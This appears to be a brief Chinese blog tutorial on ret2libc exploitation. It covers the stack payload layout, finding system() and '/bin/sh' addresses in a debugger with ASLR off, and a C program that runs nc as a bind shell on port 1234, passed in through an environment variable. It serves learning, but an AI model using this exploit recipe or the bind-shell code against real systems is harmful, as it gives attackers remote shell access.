ret2libc

ret2libc可以绕过堆栈不能执行。利用时栈如下:

'A'*offset+"system函数地址"+"函数返回值(这个随便写)"+"函数参数"

0x1:怎么得到函数地址和字符串地址

关闭了ASLR后,一些地址是固定的
得到函数地址
  <p system
得到字符串地址
  环境变量
  <find startAdress,endAdress,"/bin/sh"
 或者用程序来找

0x2:函数地址和字符串地址都搞定了,还是执行不了

ret2libc_第1张图片

和前面的一篇博文说的一样,还是gets函数的问题.

把这个/bin/sh换成whoami就有结果了

0x3:执行自己的程序

//gcc test.c -o test
int main()
{
execl("/bin/nc","nc","-c","/bin/sh","-l","-p","1234",0);
}

export HACK=////////////////////`pwd`/test

/的作用相当于NOP滑翔区,因为./getenv HACK得到的那个字符串地址总是有点偏差.

接着用nc连接1234端口,得到一个shell

link:

如何找到地址

http://blog.163.com/tod_zhang/blog/static/1025522142013102105744790/

http://louisrli.github.io/blog/2012/08/28/protostar-stack2/

你可能感兴趣的:(ret2libc)